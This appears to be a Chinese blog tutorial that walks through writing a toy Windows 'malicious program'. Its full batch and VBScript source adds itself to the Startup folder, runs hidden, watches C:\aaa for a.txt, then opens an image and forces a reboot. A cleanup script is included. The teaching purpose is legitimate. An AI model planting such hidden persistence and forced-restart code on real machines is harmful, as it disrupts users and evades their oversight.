[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 windows 实现需求
    • 2.1 恶意程序 windows-2.bat 源码
      • 2.1.1 恶意程序 windows-2.bat 源码
      • 2.1.2 恶意程序 windows-2.bat 源码讲解
    • 2.2 清除程序 windows-kill.bat 源码
      • 2.2.1 清除程序 windows-kill.bat 源码
      • 2.2.2 清除程序 windows-kill.sh 源码讲解
    • 2.3 后台运行vbs文件
      • 2.3.1 windows-background.vbs 源码
      • 2.3.2 windows-background.vbs 源码讲解
    • 2.4 演示
      • 2.3.1 恶意程序 windows-2.bat
      • 2.3.2 清除程序 windows-kil.bat
      • 2.3.3 后台运行:windows-background.vbs文件
      • 2.3.4 恶意文件a.txt
      • 2.3.5 1.jpg
      • 2.3.6 操作步骤
        • 2.3.6.1 执行 windows-background.vbs
        • 2.3.6.2 特定文件移动到特定目录
        • 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
        • 2.3.6.4 执行 windows-kill.bat 清除恶意程序
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 windows 实现需求

恶意程序 windows-2.bat 监测特定目录 C:aaa 出现特定文件 a.txt 执行恶意操作 start C:\1.jpg

2.1 恶意程序 windows-2.bat 源码

2.1.1 恶意程序 windows-2.bat 源码

@echo off
chcp 65001

setlocal

set "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"

REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (
    REM 如果不存在,则复制文件,创建启动项
    copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"
    echo 启动项创建成功。
) else (
    echo 目标目录中已存在该文件。
)


setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt"

:Start
if exist "%targetDir%\%targetFile%" (
    echo %targetFile% 文件已经存在于 %targetDir% 
    start C:\aaa\1.jpg
    echo 系统将在1分钟后重新启动...
    timeout /t 0 /nobreak > nul
    echo 正在执行重启操作...
    shutdown /r /f /t 60
) else (
    timeout /t 1 >nul
    goto Start
)

pause

2.1.2 恶意程序 windows-2.bat 源码讲解

这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:

第一部分:创建启动项

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa": 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat": 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。 if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。 copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。 echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。: 输出一条消息,表示目标目录中已经存在该文件。

第二部分:监控文件并执行重启操作

setlocal: 再次开始本地环境更改。
set "targetDir=C:\aaa": 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt": 设置变量targetFile,其值为要监控的文件名a.txt。
:Start: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul: 等待0秒,不中断用户输入。
echo 正在执行重启操作...: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60: 强制重启计算机,并在60秒后执行重启。
) else (: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。 goto Start: 跳转到标签Start,继续监控文件的存在。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.2 清除程序 windows-kill.bat 源码

2.2.1 清除程序 windows-kill.bat 源码

@echo off
chcp 65001

del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。

set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"

REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (
    REM 如果存在,则删除文件
    del "%destination_folder%\%destination_file_name%"	
    echo 启动项文件已经成功删除。
) else (
    echo 目标目录没有该文件。
)

pause

2.2.2 清除程序 windows-kill.sh 源码讲解

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat": 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg": 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%": 如果存在,则删除该文件。
echo 启动项文件已经成功删除。: 输出一条消息,表示启动项文件已被删除。
) else (: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。: 输出一条消息,表示目标目录中没有找到该文件。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.3 后台运行vbs文件

2.3.1 windows-background.vbs 源码

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False

2.3.2 windows-background.vbs 源码讲解

这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell"): 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat": 这是要运行的批处理文件的路径。
0: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。

2.4 演示

2.3.1 恶意程序 windows-2.bat

在这里插入图片描述

2.3.2 清除程序 windows-kil.bat

在这里插入图片描述

2.3.3 后台运行:windows-background.vbs文件

用来隐藏CMD窗口的
在这里插入图片描述

2.3.4 恶意文件a.txt

在这里插入图片描述

2.3.5 1.jpg

在这里插入图片描述

2.3.6 操作步骤

2.3.6.1 执行 windows-background.vbs

直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个C:\aaa目录。
如果说C:\aaa这个特定的目录下出现了a.txt这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。

在这里插入图片描述

2.3.6.2 特定文件移动到特定目录

我是直接拖过去的

在这里插入图片描述

2.3.6.3 恶意程序监测到特定文件并执行恶意操作

打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.batwindows-2.bat是一模一样的,只不过改了一个名字
一分钟后关机操作

在这里插入图片描述

等待一分钟之后,重启

在这里插入图片描述

2.3.6.4 执行 windows-kill.bat 清除恶意程序

回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。

在这里插入图片描述
在这里插入图片描述

恶意启动项已删除。

在这里插入图片描述

恶意程序已删除。
恶意图片己删除。

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/907795.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Q:无法连接到此网络

无法连接到此网络 今天上午正用浏览器开始搜索,发现网络出了问题,就去找了相关的视频教程: 这些视频大概说了这几种: 设备管理器-网络适配器-找到含有WIFI的选项-查看是否状态异常control-网络和internet-网络和共享中心-更改适…

【实战篇】requests库 - 有道云翻译爬虫 【附:代理IP的使用】

目录 〇、引言一、目标二、请求参数分析三、响应分析四、编写爬虫脚本【隧道代理的使用】 〇、引言 无论是学习工作、旅游出行、跨境电商、日常交流以及一些专业领域都离不开翻译工具的支持。本文就带大家通过爬虫的方式开发一款属于自己的翻译工具~ 一、目标 如下的翻译接口…

[ 应急响应靶场实战 ] VMware 搭建win server 2012应急响应靶机 攻击者获取服务器权限上传恶意病毒 防守方人员应急响应并溯源

🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…

鸿蒙NEXT开发-学生管理系统小案例(基于最新api12稳定版)

注意:博主有个鸿蒙专栏,里面从上到下有关于鸿蒙next的教学文档,大家感兴趣可以学习下 如果大家觉得博主文章写的好的话,可以点下关注,博主会一直更新鸿蒙next相关知识 专栏地址: https://blog.csdn.net/qq_56760790/…

keepalived + nginx 实现网站高可用性(HA)

keepalive 一、keepalive简介二、实现步骤1. 环境准备2. 安装 Keepalived3. 配置 Keepalived 双机主备集群架构4. 配置 Nginx5. 启动Keepalived6. 测试高可用性7. 配置keepalived 双主热备集群架构 一、keepalive简介 目前互联网主流的实现WEB网站及数据库服务高可用软件包括&a…

Javase——正则表达式

正则表达式的相关使用 public static void main(String[] args) {//校验QQ号 System.out.println("3602222222".matches("[1-9][0-9]{4,}"));// 校验18位身份证号 System.out.println("11050220240830901X".matches("^([0-9]){7,18}…

数据结构与算法 - 基础

本文首发于 个人博客 程序 数据结构 算法 其实很多同学知道数据结构与算法很重要&#xff0c;但是却不明觉厉。 这里我们看一个简单的题&#xff1a; 对自然数从1到100的求和 最简单的设计无非是&#xff1a; void addNum () { int total 0; for (int i 1; i < 1…

【React 轮子】文本溢出后显示展开/收起按钮

/** hooks* 用于文本展示时判断是否展示 展开/收起按钮 &#xff08;包含监听 文本变化/页面尺寸变换&#xff09;* param { string } text 需要展示的文本* param { number } maxLength 文本最大展示行数* param { number } lineHeight 文本行高 (单位 px) */ import React, …

交通工具图像分割系统:全面扶持小白

交通工具图像分割系统源码&#xff06;数据集分享 [yolov8-seg-vanillanet&#xff06;yolov8-seg-C2f-Parc等50全套改进创新点发刊_一键训练教程_Web前端展示] 1.研究背景与意义 项目参考ILSVRC ImageNet Large Scale Visual Recognition Challenge 项目来源AAAI Global A…

pta题目

1.查询至少生产两种不同的计算机(PC或便携式电脑)且机器速度至少为133的厂商 AC: select distinct(pd.maker) --去重查询 from product pd where pd.type in (个人电脑, 便携式电脑) --题目上要求的&#xff0c;至少一个&#xff0c;in是从里面选择 and --这里也是model其实相…

windows下用CMake构建使用protobuf的应用,编译使用VS2022

最近构建一个使用protobuf的应用&#xff0c;踩了不少坑&#xff0c;在此记录一下 一、编译protobuf protobuf只提供源码&#xff0c;没有编译好的库文件给使用造成一定的障碍&#xff08;差评&#xff09;。所以c应用中使用protobuf的第一步是用cmake对protobuf进行构建。 1.…

计组-主存的分类和编址,随机存取(RAM)和只读(ROM)存储器

随机和只读存储器这2类是有着不同的功能的 像我们的内存就属于随机存取存储器&#xff08;RAM&#xff09;&#xff0c;其特点就是当内存一旦断电时&#xff0c;内存里面的所有数据都将被清除掉&#xff0c;无法保存下来&#xff0c;即一断电信息就会丢失 而ROM在断电后是可以…

【electron+vue3】使用JustAuth实现第三方登录(前后端完整版)

实现过程 去第三方平台拿到client-id和client-secret&#xff0c;并配置一个能够外网访问回调地址redirect-uri供第三方服务回调搭建后端服务&#xff0c;引入justauth-spring-boot-starter直接在配置文件中定义好第一步的三个参数&#xff0c;并提供获取登录页面的接口和回调…

一次线程池使用错误导致的问题

记录一次服务线程数量异常问题的排查过程 背景 通过监控发现一个服务的线程数异常多 同期CPU 内存 网络连接都没有什么异常。 排查 第一个反应就是查看线程栈 "pool-2493-thread-3" #3718833 prio5 os_prio0 tid0x00007f1610041000 nid0x38bff6 waiting on con…

我为何要用wordpress搭建一个自己的独立博客

我在csdn有一个博客&#xff0c;这个博客是之前学习编程时建立的。 博客有哪些好处呢&#xff1f; 1&#xff0c;可以写自己的遇到的问题和如何解决的步骤 2&#xff0c;心得体会&#xff0c;经验&#xff0c;和踩坑 3&#xff0c;可以转载别人的好的技术知识 4&#xff0c;宝贵…

java毕业设计之基于Bootstrap的常州地方旅游管理系统的设计与实现(springboot)

项目简介 基于Bootstrap的常州地方旅游管理系统的设计与实现有下功能&#xff1a; 基于Bootstrap的常州地方旅游管理系统的设计与实现的主要使用者分为用户功能模块和管理员功能模块两大部分&#xff0c;用户可查看景点信息、景点资讯等&#xff0c;注册登录后可进行景点订票…

面试经典 150 题:189、383

189. 轮转数组 【参考代码】 class Solution { public:void rotate(vector<int>& nums, int k) {int size nums.size();if(1 size){return;}vector<int> temp(size);//k k % size;for(int i0; i<size; i){temp[(i k) % size] nums[i];}nums temp; }…

mysql--多表查询

一、联合查询 作用&#xff1a;合并结果集就是把两个select语句的查询结果合并到一起&#xff01; 合并结果集有两种方式&#xff1a; UNION&#xff1a;合并并去除重复记录&#xff0c;例如&#xff1a;SELECT * FROM t1 UNION SELECT * FROM t2&#xff1b; UNION ALL&a…

什么是严肃游戏,严肃游戏本地化的特点是什么?

“严肃游戏”是一种交互式数字体验&#xff0c;不仅用于娱乐&#xff0c;还用于教育、培训或解决问题。与主要关注乐趣和参与度的传统游戏不同&#xff0c;严肃游戏的目标不仅仅是娱乐&#xff0c;比如教授特定技能、模拟现实生活场景或提高对重要问题的认识。它们用于医疗保健…

ADI常规SHARC音频处理器性能对比

1、 ADSP-2156x:是基于SHARC+ DSP架构的单核32位/40位/64位浮点处理器,不仅具有灵活的音频连接性和性能可扩展性,还提供多个引脚兼容版本(400MHz至1GHz)和多种片内存储器选项,数据手册链接:https://www.analog.com/media/en/technical-documentation/data-sheets/adsp-2…